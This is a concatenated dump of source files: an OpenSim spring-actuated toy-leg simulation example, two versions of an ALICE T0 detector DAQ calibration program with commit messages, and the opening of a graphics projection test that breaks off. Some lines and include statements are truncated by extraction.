osimModel.addJoint(ankle);\n osimModel.addJoint(knee);\n osimModel.addJoint(hip);\n \/\/ Define constraints on the model\n \/\/ Add a point on line constraint to limit the block to vertical motion\n\n Vec3 lineDirection(0,1,0), pointOnLine(0,0,0), pointOnBlock(0);\n PointOnLineConstraint *lineConstraint = new PointOnLineConstraint(ground, lineDirection, pointOnLine, *block, pointOnBlock);\n osimModel.addConstraint(lineConstraint);\n\n \/\/ Add PistonActuator between the first linkage and the block\n Vec3 pointOnBodies(0);\n PistonActuator *piston = new PistonActuator();\n piston->setName(\"piston\");\n piston->setBodyA(linkage1);\n piston->setBodyB(block);\n piston->setPointA(pointOnBodies);\n piston->setPointB(pointOnBodies);\n piston->setOptimalForce(200.0);\n piston->setPointsAreGlobal(false);\n\n osimModel.addForce(piston);\n \/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n \/\/ Added ControllableSpring between the first linkage and the second block\n \/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n ControllableSpring *spring = new ControllableSpring;\n spring->setName(\"spring\");\n spring->setBodyA(block);\n spring->setBodyB(linkage1);\n spring->setPointA(pointOnBodies);\n spring->setPointB(pointOnBodies);\n spring->setOptimalForce(2000.0);\n spring->setPointsAreGlobal(false);\n spring->setRestLength(0.8);\n\n osimModel.addForce(spring);\n\n \/\/ define the simulation times\n double t0(0.0), tf(15);\n\n \/\/ create a controller to control the piston and spring actuators\n \/\/ the prescribed controller sets the controls as functions of time\n PrescribedController *legController = new PrescribedController();\n \/\/ give the legController control over all (two) model actuators\n legController->setActuators(osimModel.updActuators());\n\n \/\/ specify some control nodes for spring stiffness control\n double t[] = {0.0, 4.0, 7.0, 10.0, 15.0};\n double x[] = {1.0, 1.0, 0.25, 0.25, 5.0};\n\n \/\/ specify the control function for each actuator\n legController->prescribeControlForActuator(\"piston\", new Constant(0.1));\n legController->prescribeControlForActuator(\"spring\", new PiecewiseLinearFunction(5, t, x));\n\n \/\/ add the controller to the model\n osimModel.addController(legController); \n \n \/\/ define the acceleration due to gravity\n osimModel.setGravity(Vec3(0, -9.80665, 0));\n\n \/\/ enable the model visualizer see the model in action, which can be\n \/\/ useful for debugging\n osimModel.setUseVisualizer(false);\n\n \/\/ Initialize system\n SimTK::State& si = osimModel.initSystem();\n \n \/\/ Pin joint initial states\n double q1_i = -Pi\/4;\n double q2_i = - 2*q1_i;\n CoordinateSet &coordinates = osimModel.updCoordinateSet();\n coordinates[0].setValue(si, q1_i, true);\n coordinates[1].setValue(si,q2_i, true);\n\n \/\/ Setup integrator and manager\n SimTK::RungeKuttaMersonIntegrator integrator(osimModel.getMultibodySystem());\n integrator.setAccuracy(1.0e-3);\n\n ForceReporter *forces = new ForceReporter(&osimModel); \n osimModel.updAnalysisSet().adoptAndAppend(forces);\n Manager manager(osimModel, integrator);\n \n \/\/Examine the model\n osimModel.printDetailedInfo(si, std::cout);\n \/\/ Save the model\n osimModel.print(\"toyLeg.osim\");\n \/\/ Print out the initial position and velocity states\n si.getQ().dump(\"Initial q's\");\n si.getU().dump(\"Initial u's\");\n std::cout << \"Initial time: \" << si.getTime() << std::endl;\n\n \/\/ Integrate\n manager.setInitialTime(t0);\n manager.setFinalTime(tf);\n std::cout<<\"\\n\\nIntegrating from \" << t0 << \" to \" << tf << std::endl;\n manager.integrate(si);\n\n \/\/ Save results\n auto controlsTable = osimModel.getControlsTable();\n STOFileAdapter::write(controlsTable, \"SpringActuatedLeg_controls.sto\");\n\n auto statesTable = manager.getStatesTable();\n osimModel.updSimbodyEngine().convertRadiansToDegrees(statesTable);\n STOFileAdapter::write(statesTable, \n \"SpringActuatedLeg_states_degrees.sto\");\n\n auto forcesTable = forces->getForcesTable();\n STOFileAdapter::write(forcesTable, \"actuator_forces.sto\");\n }\n catch (const std::exception& ex)\n {\n std::cout << \"Exception in toyLeg_example: \" << ex.what() << std::endl;\n return 1;\n }\n\n std::cout << \"Done.\" << std::endl;\n return 0;\n}\nupdate attachGeometry calls in toyLeg_example.cpp\/* -------------------------------------------------------------------------- *\n * OpenSim: toyLeg_example.cpp *\n * -------------------------------------------------------------------------- *\n * The OpenSim API is a toolkit for musculoskeletal modeling and simulation. *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information. *\n * OpenSim is developed at Stanford University and supported by the US *\n * National Institutes of Health (U54 GM072970, R24 HD065690) and by DARPA *\n * through the Warrior Web program. *\n * *\n * Copyright (c) 2005-2012 Stanford University and the Authors *\n * Author(s): Matt S. DeMers *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n\/* \n * Below is an example of an OpenSim application that provides its own \n * main() routine. This application acts as an example for utilizing the \n * ControllabeSpring actuator.\n *\/\n\n\/\/ Author: Matt DeMers\n\n\/\/==============================================================================\n\/\/==============================================================================\n#include \"PistonActuator.h\"\n#include \"ControllableSpring.h\"\n#include \n#include \"OpenSim\/Common\/STOFileAdapter.h\"\n\nusing namespace OpenSim;\nusing namespace SimTK;\n\n\/\/______________________________________________________________________________\n\/**\n * Run a simulation of block sliding with contact on by two muscles sliding with contact \n *\/\nint main()\n{\n\n try {\n \/\/ Create a new OpenSim model\n Model osimModel;\n osimModel.setName(\"osimModel\");\n osimModel.setAuthors(\"Matt DeMers\");\n\n double Pi = SimTK::Pi;\n \n \/\/ Get the ground body\n Ground& ground = osimModel.updGround();\n ground.attachGeometry(new Mesh(\"checkered_floor.vtp\"));\n\n \/\/ create linkage body\n double linkageMass = 0.001, linkageLength = 0.5, linkageDiameter = 0.06;\n \n Vec3 linkageDimensions(linkageDiameter, linkageLength, linkageDiameter);\n Vec3 linkageMassCenter(0,linkageLength\/2,0);\n Inertia linkageInertia = Inertia::cylinderAlongY(linkageDiameter\/2.0, linkageLength\/2.0);\n\n OpenSim::Body* linkage1 = new OpenSim::Body(\"linkage1\", linkageMass, linkageMassCenter, linkageMass*linkageInertia);\n linkage1->attachGeometry(new Sphere(0.1));\n\n \/\/ Graphical representation\n Cylinder cyl(linkageDiameter\/2, linkageLength);\n Frame* cyl1Frame = new PhysicalOffsetFrame(*linkage1, \n Transform(Vec3(0.0, linkageLength \/ 2.0, 0.0)));\n cyl1Frame->setName(\"Cyl1_frame\");\n cyl1Frame->attachGeometry(cyl.clone());\n osimModel.addFrame(cyl1Frame);\n\n \/\/ Create a second linkage body as a clone of the first\n OpenSim::Body* linkage2 = linkage1->clone();\n linkage2->setName(\"linkage2\");\n Frame* cyl2Frame = new PhysicalOffsetFrame(*linkage2,\n Transform(Vec3(0.0, linkageLength \/ 2.0, 0.0)));\n cyl2Frame->setName(\"Cyl2_frame\");\n osimModel.addFrame(cyl2Frame);\n (linkage2->upd_attached_geometry(0)).setFrameName(\"Cyl2_frame\");\n\n \/\/ Create a block to be the pelvis\n double blockMass = 20.0, blockSideLength = 0.2;\n Vec3 blockMassCenter(0);\n Inertia blockInertia = blockMass*Inertia::brick(blockSideLength, blockSideLength, blockSideLength);\n OpenSim::Body *block = new OpenSim::Body(\"block\", blockMass, blockMassCenter, blockInertia);\n block->attachGeometry(new Brick(SimTK::Vec3(0.05, 0.05, 0.05)));\n\n \/\/ Create 1 degree-of-freedom pin joints between the bodies to create a kinematic chain from ground through the block\n Vec3 orientationInGround(0), locationInGround(0), locationInParent(0.0, linkageLength, 0.0), orientationInChild(0), locationInChild(0);\n\n PinJoint *ankle = new PinJoint(\"ankle\", ground, locationInGround, orientationInGround, *linkage1, \n locationInChild, orientationInChild);\n\n PinJoint *knee = new PinJoint(\"knee\", *linkage1, locationInParent, orientationInChild, *linkage2,\n locationInChild, orientationInChild);\n\n PinJoint *hip = new PinJoint(\"hip\", *linkage2, locationInParent, orientationInChild, *block,\n locationInChild, orientationInChild);\n \n double range[2] = {-SimTK::Pi*2, SimTK::Pi*2};\n CoordinateSet& ankleCoordinateSet = ankle->upd_CoordinateSet();\n ankleCoordinateSet[0].setName(\"q1\");\n ankleCoordinateSet[0].setRange(range);\n\n CoordinateSet& kneeCoordinateSet = knee->upd_CoordinateSet();\n kneeCoordinateSet[0].setName(\"q2\");\n kneeCoordinateSet[0].setRange(range);\n\n CoordinateSet& hipCoordinateSet = hip->upd_CoordinateSet();\n hipCoordinateSet[0].setName(\"q3\");\n hipCoordinateSet[0].setRange(range);\n\n \/\/ Add the bodies to the model\n osimModel.addBody(linkage1);\n osimModel.addBody(linkage2);\n osimModel.addBody(block);\n\n \/\/ Add the joints to the model\n osimModel.addJoint(ankle);\n osimModel.addJoint(knee);\n osimModel.addJoint(hip);\n \/\/ Define constraints on the model\n \/\/ Add a point on line constraint to limit the block to vertical motion\n\n Vec3 lineDirection(0,1,0), pointOnLine(0,0,0), pointOnBlock(0);\n PointOnLineConstraint *lineConstraint = new PointOnLineConstraint(ground, lineDirection, pointOnLine, *block, pointOnBlock);\n osimModel.addConstraint(lineConstraint);\n\n \/\/ Add PistonActuator between the first linkage and the block\n Vec3 pointOnBodies(0);\n PistonActuator *piston = new PistonActuator();\n piston->setName(\"piston\");\n piston->setBodyA(linkage1);\n piston->setBodyB(block);\n piston->setPointA(pointOnBodies);\n piston->setPointB(pointOnBodies);\n piston->setOptimalForce(200.0);\n piston->setPointsAreGlobal(false);\n\n osimModel.addForce(piston);\n \/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n \/\/ Added ControllableSpring between the first linkage and the second block\n \/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n ControllableSpring *spring = new ControllableSpring;\n spring->setName(\"spring\");\n spring->setBodyA(block);\n spring->setBodyB(linkage1);\n spring->setPointA(pointOnBodies);\n spring->setPointB(pointOnBodies);\n spring->setOptimalForce(2000.0);\n spring->setPointsAreGlobal(false);\n spring->setRestLength(0.8);\n\n osimModel.addForce(spring);\n\n \/\/ define the simulation times\n double t0(0.0), tf(15);\n\n \/\/ create a controller to control the piston and spring actuators\n \/\/ the prescribed controller sets the controls as functions of time\n PrescribedController *legController = new PrescribedController();\n \/\/ give the legController control over all (two) model actuators\n legController->setActuators(osimModel.updActuators());\n\n \/\/ specify some control nodes for spring stiffness control\n double t[] = {0.0, 4.0, 7.0, 10.0, 15.0};\n double x[] = {1.0, 1.0, 0.25, 0.25, 5.0};\n\n \/\/ specify the control function for each actuator\n legController->prescribeControlForActuator(\"piston\", new Constant(0.1));\n legController->prescribeControlForActuator(\"spring\", new PiecewiseLinearFunction(5, t, x));\n\n \/\/ add the controller to the model\n osimModel.addController(legController); \n \n \/\/ define the acceleration due to gravity\n osimModel.setGravity(Vec3(0, -9.80665, 0));\n\n \/\/ enable the model visualizer see the model in action, which can be\n \/\/ useful for debugging\n osimModel.setUseVisualizer(false);\n\n \/\/ Initialize system\n SimTK::State& si = osimModel.initSystem();\n \n \/\/ Pin joint initial states\n double q1_i = -Pi\/4;\n double q2_i = - 2*q1_i;\n CoordinateSet &coordinates = osimModel.updCoordinateSet();\n coordinates[0].setValue(si, q1_i, true);\n coordinates[1].setValue(si,q2_i, true);\n\n \/\/ Setup integrator and manager\n SimTK::RungeKuttaMersonIntegrator integrator(osimModel.getMultibodySystem());\n integrator.setAccuracy(1.0e-3);\n\n ForceReporter *forces = new ForceReporter(&osimModel); \n osimModel.updAnalysisSet().adoptAndAppend(forces);\n Manager manager(osimModel, integrator);\n \n \/\/Examine the model\n osimModel.printDetailedInfo(si, std::cout);\n \/\/ Save the model\n osimModel.print(\"toyLeg.osim\");\n \/\/ Print out the initial position and velocity states\n si.getQ().dump(\"Initial q's\");\n si.getU().dump(\"Initial u's\");\n std::cout << \"Initial time: \" << si.getTime() << std::endl;\n\n \/\/ Integrate\n manager.setInitialTime(t0);\n manager.setFinalTime(tf);\n std::cout<<\"\\n\\nIntegrating from \" << t0 << \" to \" << tf << std::endl;\n manager.integrate(si);\n\n \/\/ Save results\n auto controlsTable = osimModel.getControlsTable();\n STOFileAdapter::write(controlsTable, \"SpringActuatedLeg_controls.sto\");\n\n auto statesTable = manager.getStatesTable();\n osimModel.updSimbodyEngine().convertRadiansToDegrees(statesTable);\n STOFileAdapter::write(statesTable, \n \"SpringActuatedLeg_states_degrees.sto\");\n\n auto forcesTable = forces->getForcesTable();\n STOFileAdapter::write(forcesTable, \"actuator_forces.sto\");\n }\n catch (const std::exception& ex)\n {\n std::cout << \"Exception in toyLeg_example: \" << ex.what() << std::endl;\n return 1;\n }\n\n std::cout << \"Done.\" << std::endl;\n return 0;\n}\n<|endoftext|>"} {"text":"\/*\nT0 DA for online calibration\n \nContact: Michal.Oledzki@cern.ch\nLink: http:\/\/users.jyu.fi\/~mioledzk\/\nRun Type: PHYSICS\nDA Type: MON\nNumber of events needed: 500000 \nInput Files: inPhys.dat, external parameters\nOutput Files: daPhys.root, to be exported to the DAQ FXS\nTrigger types used: PHYSICS_EVENT\n------------------------------Alla\nNow trigger type changed to CALICRATION_EVENT\nto have data during test.\nSOULD BE CHANGED BACK BEFORE BEAM\n------------------------------- Alla\n*\/\n\n#define FILE_OUT \"daPhys.root\"\n#define FILE_IN \"inPhys.dat\"\n#include \n#include \n#include \n \n#include \n#include \n#include \n\n\/\/AliRoot\n#include \n#include \n#include \n\n\/\/ROOT\n#include \"TROOT.h\"\n#include \"TPluginManager.h\"\n#include \"TFile.h\"\n#include \"TKey.h\"\n#include \"TObject.h\"\n#include \"TBenchmark.h\"\n#include \"TString.h\"\n#include \"TH1.h\"\n\nint cbx, ccbx, t0bx, npmtA, npmtC;\nfloat clx,cmx,cclx,ccmx, t0lx, t0hx;\n\n\/* Main routine\n Arguments: \n 1- monitoring data source\n*\/\nint main(int argc, char **argv) {\n\/\/int main(){\n int status;\n\n \/* magic line *\/\n gROOT->GetPluginManager()->AddHandler(\"TVirtualStreamerInfo\",\n \"*\",\n \"TStreamerInfo\",\n \"RIO\",\n \"TStreamerInfo()\");\n \n if(daqDA_DB_getFile(FILE_IN, FILE_IN)){\n printf(\"Couldn't get input file >>inPhys.dat<< from DAQ_DB !!!\\n\");\n return -1;\n }\n \n \n FILE *inp;\n char c;\n inp = fopen(FILE_IN, \"r\");\n if(!inp){\n printf(\"Input file >>inPhys.dat<< not found !!!\\n\");\n return -1;\n }\n \n while((c=getc(inp))!=EOF) {\n switch(c) {\n case 'a': {fscanf(inp, \"%d\", &ccbx ); break;} \/\/N of X bins hCFD1_CFD\n case 'b': {fscanf(inp, \"%f\", &cclx ); break;} \/\/Low x hCFD1_CFD\n case 'c': {fscanf(inp, \"%f\", &ccmx ); break;} \/\/High x hCFD1_CF\n case 'd': {fscanf(inp, \"%d\", &npmtC ); break;} \/\/number of reference PMTC\n case 'e': {fscanf(inp, \"%d\", &npmtA ); break;} \/\/number of reference PMTA\n case 'f': {fscanf(inp, \"%d\", &t0bx ); break;} \/\/N of X bins hT0\n case 'g': {fscanf(inp, \"%f\", &t0lx ); break;} \/\/Low x hT0\n case 'k': {fscanf(inp, \"%f\", &t0hx ); break;} \/\/High x hT0\n }\n }\n fclose(inp);\n\n if (argc!=2) {\n printf(\"Wrong number of arguments\\n\");\n return -1;\n }\n \n\n \/* define data source : this is argument 1 *\/ \n status=monitorSetDataSource( argv[1] );\n if (status!=0) {\n printf(\"monitorSetDataSource() failed : %s\\n\",monitorDecodeError(status));\n return -1;\n }\n \n \n \/* declare monitoring program *\/\n status=monitorDeclareMp( __FILE__ );\n if (status!=0) {\n printf(\"monitorDeclareMp() failed : %s\\n\",monitorDecodeError(status));\n return -1;\n }\n \n \n \/* define wait event timeout - 1s max *\/\n monitorSetNowait();\n monitorSetNoWaitNetworkTimeout(1000);\n \n \n \/* log start of process *\/\n printf(\"T0 monitoring program started\\n\"); \n \n \/\/ Allocation of histograms - start\n\n TH1F *hCFD1minCFD[24]; \n \n for(Int_t ic=0; ic<24; ic++) {\n hCFD1minCFD[ic] = new TH1F(Form(\"CFD1minCFD%d\",ic+1),\"CFD-CFD\",ccbx,cclx,ccmx);\n }\n TH1F *hVertex = new TH1F(\"hVertex\",\"T0 time\",t0bx,t0lx,t0hx);\n \n \n \/\/ Allocation of histograms - end\n\n Int_t iev=0;\n \/* main loop (infinite) *\/\n for(;;) {\n struct eventHeaderStruct *event;\n eventTypeType eventT;\n \n \/* check shutdown condition *\/\n if (daqDA_checkShutdown()) {break;}\n \n \/* get next event (blocking call until timeout) *\/\n status=monitorGetEventDynamic((void **)&event);\n if (status==(int)MON_ERR_EOF) {\n printf (\"End of File detected\\n\");\n break; \/* end of monitoring file has been reached *\/\n }\n \n if (status!=0) {\n printf(\"monitorGetEventDynamic() failed : %s\\n\",monitorDecodeError(status));\n break;\n }\n \n \/* retry if got no event *\/\n if (event==NULL) {\n continue;\n }\n \n \/* use event - here, just write event id to result file *\/\n eventT=event->eventType;\n \n switch (event->eventType){\n \n case START_OF_RUN:\n\tbreak;\n\t\n case END_OF_RUN:\n break;\n \n case PHYSICS_EVENT:\n\t \/\/ case CALIBRATION_EVENT:\n iev++;\n \n if(iev==1){\n\tprintf(\"First event - %i\\n\",iev);\n }\n \n \/\/ Initalize raw-data reading and decoding\n AliRawReader *reader = new AliRawReaderDate((void*)event);\n \n \/\/ Enable the following two lines in case of real-data\n reader->RequireHeader(kTRUE);\n AliT0RawReader *start = new AliT0RawReader(reader, kTRUE);\n \n \/\/ Read raw data\n Int_t allData[105][5];\n for(Int_t i0=0;i0<105;i0++)\n \tfor(Int_t j0=0;j0<5;j0++)\n\t allData[i0][j0] = 0;\n \n if(start->Next()){\n\tfor (Int_t i=0; i<105; i++) {\n\t for(Int_t iHit=0;iHit<5;iHit++){\n\t allData[i][iHit]= start->GetData(i,iHit);\n\t }\n\t}\n }\n \n \/\/ Fill the histograms\n Float_t besttimeA=9999999;\n Float_t besttimeC=9999999;\n Float_t time[24]; \n Float_t meanShift[24];\n for (Int_t ik = 0; ik<24; ik++)\n\t { \n\t if(ik<12 && allData[ik+1][0]>0 \n\t && (allData[ik+13][0]-allData[ik+1][0]) < 530 ){\n\t hCFD1minCFD[ik]->Fill(allData[ik+1][0]-allData[npmtC][0]);\n\t }\n\t \n\t if(ik>11 && allData[ik+45][0]>0 \n\t && (allData[ik+57][0]-allData[ik+45][0]) <530 ){\n\t hCFD1minCFD[ik]->Fill(allData[ik+45][0]-allData[56+npmtA][0]);\n\t }\n\t if(iev == 10000) {\t\n\t meanShift[ik] = hCFD1minCFD[ik]->GetMean(); \n\t }\n\t }\n \/\/fill mean time _ fast reconstruction\n if (iev > 10000 )\n\t{\n\t for (Int_t in=0; in<12; in++) \n\t {\n\t time[in] = allData[in+1][0] - meanShift[in] ;\n\t time[in+12] = allData[in+56+1][0] ;\n\t }\n\t for (Int_t ipmt=0; ipmt<12; ipmt++){\n\t if(time[ipmt] > 1 ) {\n\t if(time[ipmt] 1) {\n\t if(time[ipmt]Fill(t0);\n\t }\n\t}\n\t \n delete start;\n start = 0x0;\n reader->Reset();\n \/\/ End of fill histograms\n \n }\n \n \/* free resources *\/\n free(event);\n \n \/* exit when last event received, no need to wait for TERM signal *\/\n if (eventT==END_OF_RUN) {\n printf(\"EOR event detected\\n\");\n printf(\"Number of events processed - %i\\n \",iev); \t\n break;\n }\n }\n printf(\"After loop, before writing histos\\n\");\n \/\/ write a file with the histograms\n\n TFile *hist = new TFile(FILE_OUT,\"RECREATE\");\n\n for(Int_t j=0;j<24;j++){\n hCFD1minCFD[j]->Write();\n }\n hVertex->Write();\n hist->Close();\n delete hist;\n\n status=0;\n\n \/* export file to FXS *\/\n if (daqDA_FES_storeFile(FILE_OUT, \"PHYSICS\")) {\n status=-2;\n }\n\n return status;\n}\n\n\nDA with removing violations and tuned to coming data\/*\nT0 DA for online calibration\n \nContact: Michal.Oledzki@cern.ch\nLink: http:\/\/users.jyu.fi\/~mioledzk\/\nRun Type: PHYSICS\nDA Type: MON\nNumber of events needed: 500000 \nInput Files: inPhys.dat, external parameters\nOutput Files: daPhys.root, to be exported to the DAQ FXS\nTrigger types used: PHYSICS_EVENT\n------------------------------Alla\nNow trigger type changed to CALICRATION_EVENT\nto have data during test.\nSOULD BE CHANGED BACK BEFORE BEAM\n------------------------------- Alla\n*\/\n\n#define FILE_OUT \"daPhys.root\"\n#define FILE_IN \"inPhys.dat\"\n#include \n#include \n#include \n \n#include \n#include \n#include \n\n\/\/AliRoot\n#include \n#include \n#include \n\n\/\/ROOT\n#include \"TROOT.h\"\n#include \"TPluginManager.h\"\n#include \"TFile.h\"\n#include \"TKey.h\"\n#include \"TObject.h\"\n#include \"TBenchmark.h\"\n#include \"TString.h\"\n#include \"TH1.h\"\n#include \"TSpectrum.h\"\n#include \"TMath.h\"\n\nint kbx, kcbx, kt0bx, knpmtA, knpmtC;\nfloat klx,kmx,kclx,kcmx, kt0lx, kt0hx;\n\n\/* Main routine\n Arguments: \n 1- monitoring data source\n*\/\nint main(int argc, char **argv) {\n\/\/int main(){\n int status;\n\n \/* magic line *\/\n gROOT->GetPluginManager()->AddHandler(\"TVirtualStreamerInfo\",\n \"*\",\n \"TStreamerInfo\",\n \"RIO\",\n \"TStreamerInfo()\");\n \n if(daqDA_DB_getFile(FILE_IN, FILE_IN)){\n printf(\"Couldn't get input file >>inPhys.dat<< from DAQ_DB !!!\\n\");\n return -1;\n }\n \n \n FILE *inp;\n char c;\n inp = fopen(FILE_IN, \"r\");\n if(!inp){\n printf(\"Input file >>inPhys.dat<< not found !!!\\n\");\n return -1;\n }\n \n while((c=getc(inp))!=EOF) {\n switch(c) {\n case 'a': {fscanf(inp, \"%d\", &kcbx ); break;} \/\/N of X bins hCFD1_CFD\n case 'b': {fscanf(inp, \"%f\", &kclx ); break;} \/\/Low x hCFD1_CFD\n case 'c': {fscanf(inp, \"%f\", &kcmx ); break;} \/\/High x hCFD1_CF\n case 'd': {fscanf(inp, \"%d\", &knpmtC ); break;} \/\/number of reference PMTC\n case 'e': {fscanf(inp, \"%d\", &knpmtA ); break;} \/\/number of reference PMTA\n case 'f': {fscanf(inp, \"%d\", &kt0bx ); break;} \/\/N of X bins hT0\n case 'g': {fscanf(inp, \"%f\", &kt0lx ); break;} \/\/Low x hT0\n case 'k': {fscanf(inp, \"%f\", &kt0hx ); break;} \/\/High x hT0\n }\n }\n fclose(inp);\n\n if (argc!=2) {\n printf(\"Wrong number of arguments\\n\");\n return -1;\n }\n \n\n \/* define data source : this is argument 1 *\/ \n status=monitorSetDataSource( argv[1] );\n if (status!=0) {\n printf(\"monitorSetDataSource() failed : %s\\n\",monitorDecodeError(status));\n return -1;\n }\n \n \n \/* declare monitoring program *\/\n status=monitorDeclareMp( __FILE__ );\n if (status!=0) {\n printf(\"monitorDeclareMp() failed : %s\\n\",monitorDecodeError(status));\n return -1;\n }\n \n \n \/* define wait event timeout - 1s max *\/\n monitorSetNowait();\n monitorSetNoWaitNetworkTimeout(1000);\n \n \n \/* log start of process *\/\n printf(\"T0 monitoring program started\\n\"); \n \n \/\/ Allocation of histograms - start\n\n TH1F *hCFD1minCFD[24]; \n \n for(Int_t ic=0; ic<24; ic++) {\n hCFD1minCFD[ic] = new TH1F(Form(\"CFD1minCFD%d\",ic+1),\"CFD-CFD\",kcbx,kclx,kcmx);\n }\n TH1F *hVertex = new TH1F(\"hVertex\",\"T0 time\",kt0bx,kt0lx,kt0hx);\n \n \/\/ Allocation of histograms - end\n\n Int_t iev=0;\n \/* main loop (infinite) *\/\n for(;;) {\n struct eventHeaderStruct *event;\n eventTypeType eventT;\n \n \/* check shutdown condition *\/\n if (daqDA_checkShutdown()) {break;}\n \n \/* get next event (blocking call until timeout) *\/\n status=monitorGetEventDynamic((void **)&event);\n if (status==(int)MON_ERR_EOF) {\n printf (\"End of File detected\\n\");\n break; \/* end of monitoring file has been reached *\/\n }\n \n if (status!=0) {\n printf(\"monitorGetEventDynamic() failed : %s\\n\",monitorDecodeError(status));\n break;\n }\n \n \/* retry if got no event *\/\n if (event==NULL) {\n continue;\n }\n \n \/* use event - here, just write event id to result file *\/\n eventT=event->eventType;\n \n switch (event->eventType){\n \n case START_OF_RUN:\n\tbreak;\n\t\n case END_OF_RUN:\n break;\n \n case PHYSICS_EVENT:\n\t \/\/ case CALIBRATION_EVENT:\n iev++;\n \n if(iev==1){\n\tprintf(\"First event - %i\\n\",iev);\n }\n \n \/\/ Initalize raw-data reading and decoding\n AliRawReader *reader = new AliRawReaderDate((void*)event);\n \n \/\/ Enable the following two lines in case of real-data\n reader->RequireHeader(kTRUE);\n AliT0RawReader *start = new AliT0RawReader(reader, kTRUE);\n \n \/\/ Read raw data\n Int_t allData[105][5];\n for(Int_t i0=0;i0<105;i0++)\n \tfor(Int_t j0=0;j0<5;j0++)\n\t allData[i0][j0] = 0;\n \n if(start->Next()){\n\tfor (Int_t i=0; i<105; i++) {\n\t for(Int_t iHit=0;iHit<5;iHit++){\n\t allData[i][iHit]= start->GetData(i,iHit);\n\t }\n\t}\n }\n \n \/\/ Fill the histograms\n Float_t besttimeA=9999999;\n Float_t besttimeC=9999999;\n Float_t time[24]; \n Float_t meanShift[24];\n for (Int_t ik = 0; ik<24; ik++)\n\t { \n\t if(ik<12 && allData[ik+1][0]>0 && allData[knpmtC][0]>0 ){\n\t hCFD1minCFD[ik]->Fill(allData[ik+1][0]-allData[knpmtC][0]);\n\t }\n\t \n\t if(ik>11 && allData[ik+45][0]>0 && allData[56+knpmtA][0]>0 )\n\t {\n\t hCFD1minCFD[ik]->Fill(allData[ik+45][0]-allData[56+knpmtA][0]);\n\t }\n\t if(iev == 10000) {\t\n\t meanShift[ik] = hCFD1minCFD[ik]->GetMean(); \n\t if(ik==knpmtC || ik==(56+knpmtA)) meanShift[ik]=0;\n\t }\n\t }\n \/\/fill mean time _ fast reconstruction\n if (iev > 10000 )\n\t{\n\t for (Int_t in=0; in<12; in++) \n\t {\n\t time[in] = allData[in+1][0] - meanShift[in] ;\n\t time[in+12] = allData[in+56+1][0] ;\n\t }\n\t for (Int_t ipmt=0; ipmt<12; ipmt++){\n\t if(time[ipmt] > 1 ) {\n\t if(time[ipmt] 1) {\n\t if(time[ipmt]Fill(t0);\n\t }\n\t}\n\t \n delete start;\n start = 0x0;\n reader->Reset();\n \/\/ End of fill histograms\n \n }\n \n \/* free resources *\/\n free(event);\n \n \/* exit when last event received, no need to wait for TERM signal *\/\n if (eventT==END_OF_RUN) {\n printf(\"EOR event detected\\n\");\n printf(\"Number of events processed - %i\\n \",iev); \t\n break;\n }\n }\n printf(\"After loop, before writing histos\\n\");\n \/\/ write a file with the histograms\n\n TFile *hist = new TFile(FILE_OUT,\"RECREATE\");\n\n for(Int_t j=0;j<24;j++){\n hCFD1minCFD[j]->Write();\n }\n hVertex->Write();\n hist->Close();\n delete hist;\n\n status=0;\n\n \/* export file to FXS *\/\n if (daqDA_FES_storeFile(FILE_OUT, \"PHYSICS\")) {\n status=-2;\n }\n\n return status;\n}\n\n\n<|endoftext|>"} {"text":"#include \"src\/graphics.h\"\n#include \"src\/math.h\"\n\n#include \n#include \n\ntypedef struct\n{\n Vector4f position;\n Vector4f target;\n Vector4f up;\n Vector4f right;\n Matrix4f view;\n Matrix4f projection;\n} Camera;\n\n\/\/ Projection test\nvoid testProjection(int scrWidth, int scrHeight)\n{\n unsigned short *keysPressed;\n unsigned int elapsed, i,x,y;\n struct timeb startTime, endTime;\n Vector4f vs, rs;\n Vector4f square[4];\n Camera cam;\n Matrix4f vp;\n unsigned char *buffer = (unsigned char *)malloc(scrWidth*scrHeight);\n\n cam.position.x = 0;\n cam.position.y = 0;\n cam.position.z = 1.f;\n cam.position.w = 1.f;\n\n cam.up.x = 0.f;\n cam.up.y = 1.f;\n cam.up.z = 0.f;\n cam.up.w = 1.f;\n\n cam.right.x = 1.f;\n cam.right.y = 0.f;\n cam.right.z = 0.f;\n cam.right.w = 1.f;\n\n cam.target.x = 0.f;\n cam.target.y = 0.f;\n cam.target.z = -1.f;\n cam.target.w = 1.f;\n\n if(!buffer)\n {\n printf(\"Out of memory!\");\n return;\n }\n\n keysPressed = translateInput();\n\n while(!keysPressed[KEY_ESC])\n {\n for(i = 0; i < 4; i++)\n {\n square[i].x = 0 + 50*(i%2);\n square[i].y = 0 + 50*(i > 1 ? 1 : 0);\n square[i].z = -8.f;\n square[i].w = 1.f;\n }\n\n matView(&cam.view, &cam.position, &cam.target, &cam.up);\n matPerspective(&cam.projection, 75.f * M_PI \/180.f, (float)scrWidth \/ (float)scrHeight, 0.1f, 5.f);\n vp = matMul(&cam.view, &cam.projection);\n matTranspose(&vp);\n\n for(i = 0; i < 4; i++)\n {\n square[i] = matMulVec(&vp, &square[i]);\n square[i].x \/= square[i].w;\n square[i].y \/= square[i].w;\n square[i].z \/= square[i].w;\n\n square[i].x = (square[i].x * (float)scrWidth) \/ (2.0f * square[i].w) + (scrWidth >> 1);\n square[i].y = (square[i].y * (float)scrHeight) \/ (2.0f * square[i].w) + (scrHeight >> 1);\n \/\/printf(\"%.2f %.2f %.2f %.2f\\n\", square[i].x, square[i].y, square[i].z, square[i].w);\n }\n\n clrScrBuffer(buffer);\n\n drawLine(square[0].x, square[0].y, square[1].x, square[1].y, 3, buffer);\n drawLine(square[1].x, square[1].y, square[3].x, square[3].y, 3, buffer);\n drawLine(square[0].x, square[0].y, square[2].x, square[2].y, 3, buffer);\n drawLine(square[2].x, square[2].y, square[3].x, square[3].y, 3, buffer);\n\n 